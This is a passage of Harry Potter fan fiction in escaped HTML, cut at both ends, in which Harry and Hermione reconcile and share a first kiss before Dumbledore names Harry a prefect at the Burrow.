family with no understanding or sympathy for his uniqueness, the shades of the boy who&#8217;d grown up like a mushroom in the dankness of a cupboard, unable to use powers he didn&#8217;t know he had to release him from his prison.&nbsp; She knew he would not accept her, and she felt the tears spilling from her eyes at how coincidence and unforeseen circumstances could so easily change moments of happiness into slashing pain and longing.</p>\n\n<p>She felt the sting of the salty liquid as they seeped into the scratches on her face, tasted the tears as they trickled on her lips &#8230; she wanted to turn away from him, unable to look much longer at his wounded, hurting face.&nbsp; </p>\n\n<p>Hermione turned away as a ray of sunlight from the rising sun broke through the trees surrounding the paddock, blasting like a laser beam into her tear-sparkled eyes.</p>\n\n<p>She didn&#8217;t see Harry&#8217;s eyes blink &#8230; didn&#8217;t see his eyes &#8211; the eyes of the youngest Seeker in a century &#8211; suddenly focused on a solitary tear which had mixed with a bloody drop that had welled up from an angry scratch down her cheek.</p>\n\n<p>His eyes raked over her face and body &#8211; noting the scratches on her face and hands, saw the torn robe she wore and the thorny twigs that had caused them &#8230; realized that she had lost one slipper, and understood the reason why &#8230; his mind instantly calling up all the times he&#8217;d seen her frantic and worried, rushing to his side every time she felt he was in danger or when he was victorious: all those moments from his first Quidditch match to the end of the First Task when she&#8217;d shown up at the Champion&#8217;s tent with fingernail marks on her face &#8230;</p>\n\n<p>But his mind intruded with the pictures that he&#8217;d seen only minutes before and he froze &#8230; the film in his mind moving along one frame at a time &#8230; and he closed his eyes to the obvious hurts that he saw on her &#8230; and tried to force the infuriating idea of his best friend tending to her hurts from his mind &#8230;</p>\n\n<p>However, his fickle mind suddenly shifted to a singular moment months before in Dumbledore&#8217;s office, when he&#8217;d asked about something that he&#8217;d seen in the Pensieve &#8230; where he learned to his horror, the real story of Neville Longbottom&#8217;s parents &#8211; a story that he had never bothered to find out through four years of being Neville&#8217;s dorm-mate, classmate and fellow Gryffindor.&nbsp; He remembered climbing into his bed later that night and listening to Neville&#8217;s snores &#8211; ashamed that he&#8217;d immediately jumped to the conclusion that Neville was a natural klutz, without even bothering to find out if there was a reason behind his seeming ineptness.</p>\n\n<p>They deserved more than that, he realized &#8230; they deserved more than his anger at seeing them together for a few moments that could have a hundred different explanations than the one he&#8217;d immediately leaped to. They were his friends, who had been with him through joy and pain, who&#8217;d stood up to defend him against everything life had thrown his way &#8230; </p>\n\n<p>And, more importantly, this was Hermione &#8230; she deserved more than his dirty mind leaping to conclusions &#8211; not after all that they had been through in the past four years and &#8230; and (he shivered at the thought) what they will have to go through for the next how many months and years, until he &#8211; or <i>someone</i> -- could bring this feud with Voldemort to a successful conclusion.</p>\n\n<p>She felt something blocking the sunlight on her face, casting it in shadow &#8211; she turned back to Harry and almost fainted in shock.&nbsp; She had turned away when he was a few feet away &#8230; she turned back to see him standing right in front of her, looking down with his blazing green eyes, and she could only stare back like a deer caught in the headlights of an onrushing car &#8230;</p>\n\n<p>His eyes bored into her doe-like brown eyes, and he felt something shifting within him &#8230; a boulder or some such thing that had fallen on his chest being nudged away by the tears that were falling from his best friend&#8217;s face, and he couldn&#8217;t help himself any longer &#8230;</p>\n\n<p>He reached out with a trembling finger and softly, as gently as he could, wiped away the tears from her cheek &#8230; watched, with a growing sense of panic that he quickly rammed down, as tiny droplets of blood continued to well up from the scratches &#8230; felt his throat working, swallowing repeatedly as he tried to wipe the blood away with still gentle, but increasingly frantic motions &#8230;</p>\n\n<p>&#8220;I don&#8217;t want you hurt, Hermione &#8230; I don&#8217;t want to see you hurt &#8230; you shouldn&#8217;t have come after me like that in the dark &#8230; when I woke up and found that you and Ron were not there, it scared me &#8230; it scared me, Hermione &#8230; I don&#8217;t want to see you hurt &#8230;&#8221; She had closed her eyes to prevent herself being blinded by the blazing green orbs of Harry&#8217;s eyes, and she shivered as she felt his gentle fingers wiping her face, felt the blood pounding in her ears, such that she could barely make out Harry&#8217;s hoarse, croaking voice as his fingers touched her flushed skin.</p>\n\n<p>She felt a sudden warmth on her face and her eyes blinked open &#8230; only to turn her face away as the light from the ever-rising sun washed into her eyes &#8230; realizing in the same instant that Harry was down on his knees, embracing her &#8230; his face in her tummy and his glasses pushing against her clothes. Hermione could feel his body shaking, and knew that he was crying &#8230; finally letting go of his fears and inner turmoil, starting from that night in the Hospital Wing when his need to cry and let go had been rudely interrupted by her capture of Rita Skeeter in her Animagus form &#8230;</p>\n\n<p>Instinctively, her arms wrapped around his head and she held him tightly, feeling his arms around her waist, and she felt herself rocking him gently as her hands ran lightly and gently through his messy hair &#8230; knowing that he could feel her tears on his head, but caring not one bit.</p>\n\n<p>There was only comfort in that embrace &#8230; and for the moment, there was no one else in the world except each other &#8230; and no one &#8211; not Death Eaters, not friends, relatives or teachers, not even Lord Voldemort &#8211; would have been able to catch the attention of either one.</p>\n\n<p>Which was how the others found them a few moments later.&nbsp; </p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>With quick glances and silent nods, the Twins, Ron, Ginny and their father drew back &#8230; each of them agreeing to a silent pact: none of this would be shared with anyone else, except for Molly.&nbsp; </p>\n\n<p>And not even her, if they could help it.</p>\n\n<p>Quietly, they withdrew from the paddock &#8230; each with their own thoughts: scared at the prospects of the gathering storm, happy at the same time that, even in the midst of darkness, light still found its way in. </p>\n\n<p>With another exchange of looks, they silently agreed to head back home and wait for the two to come in.&nbsp; Arthur led the way, his mind in turmoil at the morning&#8217;s dreadful news, wondering how Cornelius Fudge would try to cover-up this latest incident &#8211; and wondering what they could do to prepare the wizarding world for the inevitable storm.</p>\n\n<p>Ron and Ginny followed, both silent and sunk in their own thoughts.&nbsp; They would have been surprised to find out, if they had only spoken to each other, that they were &#8211; for once &#8211; operating on the same wavelength, with the same thought running through their minds: &#8220;So that is what true love looks like,&#8221;and wondering whether they would be lucky enough to find someone to love &#8211; and someone to love them back.</p>\n\n<p>Fred and George were last &#8230; but no one could have said what they were thinking about &#8211; their minds were too nimble, too quick, to remain focused for long on a single topic, unless they were planning a joke &#8211; or watching for Bludgers. They were walking together &#8230; until Fred realized that he was suddenly walking alone.</p>\n\n<p>He stopped and spun around, eyes automatically scanning the surrounding terrain for any threat, hand clutched around his wand ready to draw and curse if need be &#8230; and he spotted his twin a few meters away, holding a fuzzy bedroom slipper, a bemused expression on his face.</p>\n\n<p>Puzzled, Fred walked over to his brother as his mind ran over the possible significance of a slipper in his brother&#8217;s hand.&nbsp; He didn&#8217;t recognize it &#8211; while it seemed to be a comfortable, lived-in slipper, it was in far better condition than anything his family owned &#8230; from the style, he deduced that it was a girl&#8217;s slipper &#8211; slim and feminine as it was &#8230; it could only belong to someone from The Burrow, since no one from the village ever went up here &#8230; and he realized that Hermione must have lost it in her mad dash up here in search of Harry.</p>\n\n<p>His jaw dropped as he saw George, with an cheeky grin and an impish look in his eye, draw out his wand and transfigure the slipper into a small bunny which he gently placed on the ground.&nbsp; The bunny, after an inquiring look at the brothers, quickly turned and ran off into the bushes &#8230; either looking for something to eat, or another bunny on which to vent its hormonal urges on.</p>\n\n<p>And then, Fred smiled as his brain processed the information &#8211; and the brothers gave each other high fives as they proceeded back to their home and breakfast, both of them wishing that they had the guts to remain there and watch &#8230; but both too scared of living out life as a pair of pumpkins in the grass to do so. </p>\n\n<p>While they knew that Harry wouldn&#8217;t be able to handle such a Transfiguration, they wouldn&#8217;t put it past Hermione &#8230; and at the same time, neither one wanted to face an enraged Harry Potter &#8211; or an even angrier Hermione Granger.</p>\n\n<p>Some things were simply not worth the risk.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>The emotional storms had passed, and the rising sun could now smile as it witnessed the sight of two friends sitting side by side on the grass of the empty paddock beneath its warming rays &#8211; both leaning on each other, Harry&#8217;s face resting on Hermione&#8217;s head, the latter snuggled warmly on Harry&#8217;s shoulder, arms around each other &#8230; and Harry rubbing Hermione&#8217;s hand, trying to remove the dried droplets of blood there.</p>\n\n<p>They&#8217;d been talking for some time &#8230; both studiously avoiding Harry&#8217;s emotional outburst, although the memory of that shared moment continued to envelop them in its glow. They quietly shared their experiences of the night: Harry, calmly and quietly telling Hermione of his nightmare while the latter listened in silence, shivering only as Harry described the voice that he assumed was Voldemort, casting the Death Mark into the sky &#8230; and Hermione telling Harry of her conversation with Ron, with Harry listening attentively and looking spectacularly shocked at the apparent change in their red-haired, hair-triggered friend.</p>\n\n<p>They had calmly discussed their fears of the night &#8211; of Harry waking up to realize that Ron was not in his room, and learning from Ginny that Hermione had gone out of their shared quarters &#8230; of Hermione so afraid that Harry had jumped to the wrong conclusions and would turn away from her or worse, neither one realizing that they had held each other just that tiny bit more closely as the words came tumbling out &#8230;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>Harry finally broke the silence that had fallen, as he continued rubbing her scratched hand: &#8220;Hermione &#8230; I meant what I said earlier &#8230; I don&#8217;t want you to get hurt &#8230;&#8221;</p>\n\n<p>&#8220;Don&#8217;t, Harry,&#8221; she said, turning her face to look at him. &#8220;I know what you&#8217;re going to say &#8230; don&#8217;t.&#8221;</p>\n\n<p>&#8220;But Hermione &#8230;&#8221;</p>\n\n<p>&#8220;Don&#8217;t be getting all noble and protective of me, Harry Potter! Ginny&#8217;s right &#8211; I&#8217;m involved, we are all involved &#8230; nothing&#8217;s going to erase the past four years.&#8221;</p>\n\n<p>&#8220;Hermione &#8230;&#8221;</p>\n\n<p>&#8220;Harry. You can&#8217;t stop me, or Ron, or Ginny, or anyone else from helping you if that is what we want, do you hear me?&#8221;</p>\n\n<p>&#8220;Hermione &#8230;&#8221;</p>\n\n<p>&#8220;Stop it, Harry.&nbsp; You cannot stop me from helping you without killing me, and that is a strange way to protect my life.&#8221;</p>\n\n<p>He stared at her, and she met his gaze head on &#8211; but he refused to bow to the inevitable, making one last desperate stab at logic to dissuade her: &#8220;But Voldemort doesn&#8217;t know anything about you &#8230;&#8221;</p>\n\n<p>&#8220;You&#8217;ve forgotten Scabbers, Harry.&#8221; She suddenly giggled, breaking the tension between them. &#8220;Remember the first time I met you on the train, and Ron was trying to cast that spell?&#8221;</p>\n\n<p>Harry grinned, and solemnly recited, &#8220;<i>Sunshine, daisies, butter mellow, Turn this stupid, fat rat yellow.</i>&#8221;</p>\n\n<p>Hermione laughed out loud. &#8220;Poor Ron &#8230; he must have felt like a complete fool with that spell &#8230;&#8221; She suddenly became quiet, as she remembered again what she must have looked like to Harry and Ron that day, but her thoughts were interrupted by Harry.</p>\n\n<p>&#8220;Maybe not as much as Ginny with that stupid dwarf singing &#8230;&#8221;</p>\n\n<p>Hermione smiled as she supplied the memory:</p>\n\n<blockquote>&#8220;His eyes are as green as a fresh pickled toad,</blockquote>\n\n<blockquote>His hair is as dark as a blackboard.</blockquote>\n\n<blockquote>I wish he was mine, he&#8217;s really divine,</blockquote>\n\n<blockquote>The hero who conquered the Dark Lord!&#8221;</blockquote>\n\n<p>The paddock suddenly rang out with their laughter, and Hermione &#8211; in between gulps of air and laughter &#8211; sputtered, &#8220;You know, I&#8217;ve always believed that it was Fred or George who set that thing up &#8230; I just couldn&#8217;t believe that Ginny would do something like that.&#8221;</p>\n\n<p>&#8220;Yeah, I know,&#8221; Harry said as he wiped the tears from his eyes. &#8220;I&#8217;ve never believed it was Ginny either. I always thought that it was you who &#8211; Ow!&#8221;</p>\n\n<p>&#8220;Shut it, Harry! You weren&#8217;t even on <i>my</i> radar screen that time &#8230;&#8221;</p>\n\n<p>&#8220;Well, who was?&#8221; Harry replied in a feigned, hurt tone. &#8220;Lockhart?&#8221;</p>\n\n<p>He blinked at her in surprise. &#8220;Hermione! Don&#8217;t tell me that you were one of the forty-six who sent Lockhart a Valentine&#8217;s card?&#8221;</p>\n\n<p>She turned away with a forceful shake of her head, which sent her hair flying in all directions but which successfully screened her reddened face as she whispered, &#8220;Actually, I sent him six &#8230;&#8221;</p>\n\n<p>Harry didn&#8217;t know if he would find the strength to pull his jaw up off the grass. He stared blankly at Hermione, who steadfastly refused to look at him. &#8220;Hermione &#8230; <i>six</i> cards?&#8221;</p>\n\n<p>&#8220;Well, I wasn&#8217;t the only one, Harry. Lavender sent ten, I think &#8230; Parvati and Padma sent five each &#8230; I heard someone say that Susan Bones and Mandy sent two &#8230; even Cho Chang supposedly sent a few herself &#8230;&#8221;</p>\n\n<p>She finally found the courage to look at him, and saw Harry with his brow furrowed in thought. Before she could ask what he was thinking, he looked at her with a cheeky grin. &#8220;Hermione &#8230; six cards?&#8221; She nodded. &#8220;And Lavender, Parvati, Padma &#8230; all of you sent a few cards each?&#8221;</p>\n\n<p>She nodded, wondering where this was going. &#8220;So, how many girls <i>actually</i> sent cards to Lockhart?&#8221;</p>\n\n<p>Hermione suddenly giggled. &#8220;I think &#8230; less than ten, Harry.&#8221;</p>\n\n<p>He couldn&#8217;t help himself, and broke out laughing, &#8220;So, rather than forty-six, less than <i>ten</i> sent him cards?&#8221;</p>\n\n<p>&#8220;I said less than ten <i>girls</i>, Harry,&#8221; she replied in her officious voice. That stopped him, and she gave him a saucy grin: &#8220;How do I know <i>you</i> didn&#8217;t send him something?&#8221;</p>\n\n<p>Hermione gave in to laughter as he tried to sputter a response &#8211; but stopped when he replied, &#8220;Well, for one thing &#8230; I know you&#8217;re a girl, Hermione.&#8221;</p>\n\n<p>She responded to that statement with a smirk, &#8220;Took you long enough, Potter.&#8221;</p>\n\n<p>&#8220;I know.&#8221;</p>\n\n<p>Hermione looked at him in surprise, and felt herself wading into the deep, green pool of his eyes, as her ears began picking up random sounds from around them.&nbsp; She felt her breath hitching as she saw Harry leaning towards her, drawing ever closer, and felt the blood beating as her lips felt flushed. She unconsciously licked her lips as she watched Harry&#8217;s come closer to her &#8230; and she closed her eyes and leaned closer to him &#8230;</p>\n\n<p>And felt him suddenly pausing and drawing away &#8230; she could have sworn that her hyper-sensitized ears pick up his mumbled, &#8220;I can&#8217;t &#8230; I can&#8217;t &#8230; I&#8217;ve got morning breath &#8230;&#8221;</p>\n\n<p>If there were a rock or stone handy, she would have <i>brained</i> the stupid git and brought his body to Lord Voldemort herself.&nbsp; Her eyes flew open to see him still staring at her, and she heard his whispered, &#8220;I don&#8217;t want to hurt you, Hermione.&#8221;</p>\n\n<p>Her first thought was to tell him that a kiss wouldn&#8217;t make her pregnant, but she stopped on seeing &#8211; and understanding &#8211; the naked fear and longing in his eyes.&nbsp; She knew that he was not looking at her, but seeing once again the parade of ghosts that had fallen out of Voldemort&#8217;s wand: Cedric, the old caretaker, Bertha Jorkins, James and Lily and now, Mr. Diggle &#8230; and imagining that she, or Ron, or Ginny would be joining them.</p>\n\n<p>&#8220;Oh, Harry,&#8221; she whispered, and buried her face in his shoulder once again, feeling his arms wrapping around her tightly, and his lips on her hair. She could feel the tears again welling up, and wondered, irrelevantly, how much in tears can the human body hold? </p>\n\n<p>&#8220;I don&#8217;t want anything to happen to you, Hermione. I need you too much to risk losing you &#8230; not now, not ever.&#8221;</p>\n\n<p>She didn&#8217;t answer immediately, simply snuggled closer to him.&nbsp; She could feel his arms around her, felt his heart beating next to hers, and knew that nothing she would say now would make him change his mind, and she held him tight, knowing that this would be as far as he would be willing to go with her &#8230; until Lord Bloody Voldemort was back in his special chamber of hell&#8217;s half-acre.</p>\n\n<p>She looked at him and saw his wounded, aching eyes on her &#8230; and she heard Ron&#8217; voice as he repeated something he&#8217;d learned from Bill&#8217;s diary: &#8220;Follow your heart, Hermione &#8230;&#8221; and with a strength that surprised her, she grabbed him by his messy, silky hair and pressed her lips on his.</p>\n\n<p>She could feel him pulling back, but she wouldn&#8217;t let go and followed &#8230; Harry threw out an arm to stop himself from landing on his back, and pushed back, but Hermione kept up with him, pressing their lips together &#8230; and for the next few moments, there was no one in the world except themselves &#8230; toothbrush, flossing, or morning breath be dammed.</p>\n\n<p>That first real kiss was awkward, laced as it was with too much passion and emotion, but it was the sharing that mattered, it was the affirmation of their mutual feelings that counted. In the years to come, the memory of that kiss would follow, but imbued with a singular character and beauty all its own.</p>\n\n<p>The clumsy, uncoordinated first pressing of their lips together soon gave way to an intimate exploration of each other&#8217;s mouths; lips and tongues gently traveling the ridges and planes of the other. Tongues gently reached out and met, tasted each other and explored &#8230; and Harry would forever be thankful that Hermione was not a telepath, for the image of the basilisk in the Chamber of Secrets, tongue flicking out to sense his prey, came to his mind &#8211; unaware that Hermione had the same mental image from a documentary film passing through her mind.</p>\n\n<p>The thought made them both draw back for a bit, their lips the only ones doing the exploration &#8230; but the brief memory of their gliding tongues made them want more, and their explorations continued, both of them unconsciously blocking air passages as their kiss deepened.&nbsp; </p>\n\n<p>Too soon, however, the need for air became overwhelming and they broke apart, drawing deep breaths of each other&#8217;s bodies into their lungs &#8230; hands entwined in the other&#8217;s hair, eyes locked on each other in wonder at what had just happened.</p>\n\n<p>They leaned in again to each other but their higher brain functions took over and instead of the scorching kiss they exchanged earlier, this was softer, more intimate &#8230; a gentler exploration of each other&#8217;s lips.</p>\n\n<p>By mutual consent, they broke off and leaned against each other, Hermione&#8217;s head snuggled in Harry&#8217;s chest, Harry&#8217;s face buried in her hair, arms around each other in an embrace that was both intimate and reserved &#8230;&nbsp; </p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>After a while, she felt Harry kiss her forehead and she looked up to see his eyes on her.</p>\n\n<p>&#8220;We&#8217;ve got to go, Hermione,&#8221; Harry said softly. &#8220;They&#8217;ll be worrying &#8230; they&#8217;ll probably be calling the Ministry to send out search parties by now &#8230;&#8221;</p>\n\n<p>She gave a sigh, and nodded, standing up with him &#8211; and nearly stumbling as she remembered that she was lacking a slipper.&nbsp; Harry caught her arm and steadied her, and they both began looking around the clearing but couldn&#8217;t see it.</p>\n\n<p>She felt Harry slapping his head and saw him raise his wand, saying &#8220;<i>Accio, </i>Hermione&#8217;s slipper!&#8221;</p>\n\n<p>They waited &#8230; and waited &#8230; and finally, Harry put down his wand, as puzzled as she was &#8211; neither aware that the slipper was already enjoying life as a full-fledged bunny, and having the first real meal of its life.&nbsp; He looked at her, unsure of what to do &#8230; and suddenly smiled, extending his wand to her.</p>\n\n<p>She took it from him, confused. </p>\n\n<p>&#8220;You can always transfigure something into a slipper, Hermione.&#8221;</p>\n\n<p>Her confusion cleared, and she opened her mouth &#8230; and shut it. &#8220;One problem with that, Mr. Potter &#8230; I don&#8217;t know how to do that particular charm.&#8221;</p>\n\n<p>&#8220;What?&nbsp; I thought you knew everything!&#8221;</p>\n\n<p>&#8220;Apparently not, Harry.&#8221;</p>\n\n<p>She saw him staring intently at her, but decided to hold her ground and the white lie, adding for good measure, &#8220;I know it&#8217;s on the schedule for this year &#8230; but I haven&#8217;t got around to studying it yet.&#8221;</p>\n\n<p>He continued staring at her, and she grew distinctly uncomfortable under his gaze. She was about to ask him what was wrong when he suddenly answered her: &#8220;I just want to fix this moment in my memory &#8230; for once, Hermione Granger does not have an answer to a question from Harry Potter.&#8221;</p>\n\n<p>She was about to swat him when she realized what she had in hand, and gave him an evil smirk, &#8220;Who&#8217;s holding the wand, Mr. Potter?&#8221;</p>\n\n<p>&#8220;Well, I still have another wand, Miss Granger.&#8221;</p>\n\n<p>&#8220;What &#8230; Oh,&#8221; she replied, suddenly blushing at his insinuation, but determined not to let him have the final word, and answered in her best earnest-Hermione-the-teacher&#8217;s-pet tone: &#8220;But is it any <i>good</i>, Mr. Potter? Are you sure it will fit me? Didn&#8217;t you say that the wand chooses the witch? Can you use it to <i>levitate</i> me?&#8221;</p>\n\n<p>They stared at each other, and burst out laughing, which ended with both of them down on the ground, rolling around and laughing like banshees. Soon enough, they were wiping their eyes of the tears they&#8217;d shed, and stood, with Hermione handing Harry&#8217;s wand to him.</p>\n\n<p>To her surprise, he ignored it &#8230; and before she could say a word, he had swept her into his arms to carry her. Automatically, she placed her arms around his neck and snuggled into the comfort of his shoulder, murmuring at the same time, &#8220;My hero!&#8221;</p>\n\n<p>He smiled and kissed her forehead; she tightened her arms around him as a shiver passed through her. She knew that there were a dozen levitating charms that he could have used, but she appreciated what he was trying to do (which was in fact, what she wanted him to do), and kissed him on the cheek.</p>\n\n<p>He gave her another warm, patented Harry smile and started walking towards the Burrow.</p>\n\n<p>Neither one noticed a small brown bunny by the side of the path, busily chewing on some greens that it found, staring in curiosity at the sight of the boy carrying the girl in his arms.&nbsp; If it were human, it would have given a shrug &#8230; as it was a mere bunny, it continued chewing on the greens with a happy, contented expression on its face.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Molly Weasley glanced up from the teapot she had prepared for her guests and saw Harry and Hermione returning to The Burrow.&nbsp; She smiled at the sight of a struggling Harry Potter doing his best not to drop the Hermione he carried in his arms, while the latter kept her arms around his neck although, even at this distance, Molly could see her hands were playing with his hair.</p>\n\n<p>Her smile grew broader as she remembered the near-kiss that she&#8217;d seen yesterday in Diagon Alley, and wondered whether they had finally consummated the moment that had been building up for some time.&nbsp; She glanced at the rising sun and was startled &#8230; it had been a little more than twenty-four hours since she&#8217;d sat at her window and seen the two of them on the bench outside the Burrow&nbsp; &#8230; and her happy mood turned somber as she remembered her thoughts of the night before &#8211; and what she knew would happen today.</p>\n\n<p>&#8220;They&#8217;re coming,&#8221; she said to Arthur and her guests, as she started to prepare breakfast for the two teenagers.</p>\n\n<p>&#8220;Took them long enough,&#8221; Arthur said in a voice where Molly detected just the slightest hint of a false joviality. &#8220;I do hope they haven&#8217;t done anything &#8230; inappropriate.&#8221;</p>\n\n<p>&#8220;Arthur!&#8221; Molly exclaimed in a reproachful voice, at which he blushed and stammered apologetically, &#8220;I&#8217;m sorry &#8230; just trying to lighten the mood.&#8221;</p>\n\n<p>&#8220;They&#8217;re <i>children</i>, for crying out loud!&#8221; Molly continued, using the <i>faux pas </i>to release the tension she felt -- and grateful to Arthur for the opportunity, badly chosen as it was.</p>\n\n<p>&#8220;Who have been through so much more than most wizards or witches their age have any right to expect,&#8221; responded Albus Dumbledore from his chair. He looked down at his teacup beside which rested two shiny, although slightly dented Prefect&#8217;s badges. &#8220;Not even James and Lily had to go through what they have done in the past five years.&#8221;</p>\n\n<p>&#8220;I&#8217;m sure we can trust Miss Granger&#8217;s sense of decorum,&#8221; Professor McGonagall said in her usual, severe tone. &#8220;She has far more of that than Mr. Potter &#8211; father or son &#8211; ever had. Or even Lily Evans,&#8221; she added, after a pause.</p>\n\n<p>&#8220;Indeed, Minerva,&#8221; the Headmaster said, eyes twinkling. &#8220;Which is why they work so well together.&#8221;</p>\n\n<p>Professor McGonagall didn&#8217;t reply to that; merely stood up and brought her teacup and saucer to the sink &#8230; and looked out the window at the approaching pair. The sight that met her eyes caused her to blink as she remembered one of her earliest memories of Harry and Hermione together: the night that Filch had caught the two sneaking down from the Astronomy Tower at one o&#8217;clock in the morning.</p>\n\n<p>&#8220;I think I&#8217;ve got a good idea of what&#8217;s been going on,&#8221; she&#8217;d said at the time &#8211; and had immediately stopped herself when she realized that she was talking to an eleven-year old boy and girl. She had immediately leaped on Neville Longbottom&#8217;s story to connect the midnight excursion of the two to an effort to get Draco Malfoy in trouble &#8230; simply because she did not want to think of the <i>other</i> thing they could have been doing there at that time.</p>\n\n<p>Albus Dumbledore&#8217;s voice broke into her consciousness: &#8220;What are you thinking about, Minerva?&#8221; and she could feel a faint blush rising in her face at the question.&nbsp; She turned back to the Headmaster and met his twinkling eyes &#8211; and again wondered whether her old friend was telepathic.</p>\n\n<p>There was no need to respond as, with a clatter, the door opened and she turned around to see Harry with Hermione still in his arms, entering the kitchen as if he were a bridegroom bringing in his bride. She stopped herself from collapsing in laughter at the shocked looks of the two, mentally giving Harry twenty points for not dropping Hermione in his surprise &#8230; and made a promise to herself to use her Pensieve at the earliest possible opportunity: the looks on the faces of her favorite students were just too precious to leave to the vagaries of memory.</p>\n\n<p>The heat emanating from the faces of the two teenagers as they faced the four adults would have been enough to heat the Burrow in the dead of winter, with one mind, both thought that it was extremely lucky that the younger Weasleys had not seen them &#8211; unaware that the Twins were still rolling around on the floor of their room, laughing at the success of their latest ploy &#8230; Ron was in the living room with his nose buried once again in Bill&#8217;s diary &#8230; and Ginny was in her room, furiously brushing her long, flowing hair as tears of mingled sadness and happiness streamed down her face.</p>\n\n<p>All four of the younger Weasleys had been at various windows of the house, and the sights they had seen that day would be something that would remain in their memories for a long time.</p>\n\n<p>In the kitchen, Harry slowly put Hermione down (the four adults noting with mingled amusement and nostalgia the gentle, almost reverent manner with which Harry did so) and asked, &#8220;Professor Dumbledore! Professor McGonagall! What are you doing here? Is this because &#8230;&#8221;</p>\n\n<p>He stopped at the Headmaster&#8217;s upraised hand and soothing voice: &#8220;All in good time, my dear boy! All in good time &#8230;&#8221;</p>\n\n<p>Molly Weasley bustled up then, asking the two whether they would like to have their breakfast now or if they would prefer that she made them tea for the moment. They glanced at each other, both unaware that they had suddenly bitten their lower lips (a fact noticed with keen interest by their teachers), as they slowly shook their heads.&nbsp; None of the adults knew that the quick glance was of a shared memory of Ron in Hagrid&#8217;s cabin, saying, &#8220;Er -- shall I make a cup of tea?&#8221; in response to Hagrid&#8217;s blubbering about Buckbeak, and his muttered explanation of his offer: &#8220;It&#8217;s what my mum does whenever someone&#8217;s upset,&#8221;.</p>\n\n<p>The quick glance had also exchanged the same thought in their minds: who&#8217;s upset? And about <i>what</i>? </p>\n\n<p>They quickly turned back as Professor Dumbledore gave a small cough.</p>\n\n<p>&#8220;Let&#8217;s settle school affairs first, shall we?&#8221; He pulled out a Hogwarts letter from his robe and proffered it to Harry, who accepted it with a blank expression on his face. &#8220;The school governors decided last night, after some prompting from Mrs. Longbottom, to name you as Gryffindor Prefect. Congratulations, Harry.&#8221;</p>\n\n<p>Harry&#8217;s response was drowned out Hermione&#8217;s whispered, &#8220;Good for you, Harry!&#8221;, followed by a rib-breaking hug from Molly and a bone-crushing handshake from Arthur. He adjusted his disheveled glasses in time to see Professor Dumbledore reaching for something glinting on the table.</p>\n\n<p>&#8220;These were your parents&#8217; Prefect badges, Harry. I think it&#8217;s time that I gave them back to you.&#8221; He handed them over to Harry, who accepted them without a word, and held them for a moment in his palm before looking at them through suddenly teary eyes. He held them up; noticing some engraving on the back, he peered at them closely and saw &#8220;James Potter&#8221; written on one, and &#8220;Lily Evans&#8221; on the other.</p>\n\n<p>&#8220;Oh, Harry &#8230;&#8221; he heard Hermione&#8217;s voice beside him and he knew that she had seen the same thing that he had. Silently, he handed his mother&#8217;s badge to her and they locked eyes for a long moment before she reached out and accepted it, whispering &#8220;Thank you&#8221; at the same time.&nbsp; It was a gesture not lost on the four adults in the room, and they all turned away simultaneously to wipe their eyes and, in the case of Molly Weasley, surreptitiously blow her nose on her handkerchief.</p>\n\n<p>&#8220;I understand you wanted to take up additional subjects this year, Harry? May I ask if you have reached a decision yet?&#8221; </p>\n\n<p>&#8220;Yes, Professor. I &#8230; uh, have decided to take Ancient Runes this coming year.&#8221; He heard a gasp of surprise and realized that he hadn&#8217;t told Hermione of his decision yet, and wondered how Ginny would react to this. &#8220;Uh &#8230; Arithmancy is too close to Divination for me (he made a placating gesture at the suddenly bristling Hermione who visibly calmed down &#8211; a gesture not lost on Professor McGonagall, who hid her smile behind a handkerchief she conjured) and I don&#8217;t think I have a head for numbers that the course will require, so &#8230;&#8221;</p>\n\n<p>&#8220;All right,&#8221; Dumbledore replied. His eyes twinkled as he continued, &#8220;I assume that Miss Granger has given you the references and study materials that you will need, including her notes?&#8221;</p>\n\n<p>&#8220;Of course, Professor,&#8221; Hermione replied. With a glance at Harry, she continued, &#8220;Can I borrow Hedwig later, Harry? I can ask my Mum to pack up my notes and send them to us.&#8221;</p>\n\n<p>&#8220;Can Hedwig carry four volumes of notes, Hermione &#8211; ow!&#8221; as Hermione gave him an elbow in the ribs. Before he could say anything, Arthur Weasley stepped in.</p>\n\n<p>&#8220;We can always pass by your house tomorrow, Hermione,&#8221; he said. &#8220;You still have a few days before September 1st, I can drive you two over there tomorrow.&#8221; </p>\n\n<p>The two teenagers looked at him with gratitude, but turned back as Dumbledore gave a small cough.</p>\n\n<p>&#8220;You may wish to borrow one of the Ministry&#8217;s cars, Arthur. I am sure that Cornelius will be more than happy to lend you one.&#8221; For a split second, Harry caught a look being exchanged between the two men &#8211; and felt a shiver down his spine at the thought that certain arrangements were being made, and that his visit to Hermione&#8217;s house would be covered by teams of Aurors and hit-wizards &#8230; and he wondered if there were plans being made for the Grangers at the same time.</p>\n\n<p>&#8220;If there is nothing else &#8230;&#8221; Professor Dumbledore began, but Harry interrupted him.</p>\n\n<p>&#8220;Professor &#8230; I have to ask, but what is this all about? I mean &#8230; why did they have to attack Mr. Diggle? He was a harmless old wizard &#8230; surely he meant nothing to Voldemort.&#8221;</p>\n\n<p>To his surprise, the Headmaster didn&#8217;t reply at once &#8230; and Harry watched as Dumbledore&#8217;s long, thin fingers covered his face and gently began massaging his eyes, as if he had been hit by a sudden, blinding headache.&nbsp; </p>\n\n<p>He could feel the tension ramping up in the small room, felt the anxiety and strain emanating from Arthur, Molly and Professor McGonagall in waves thick enough to be 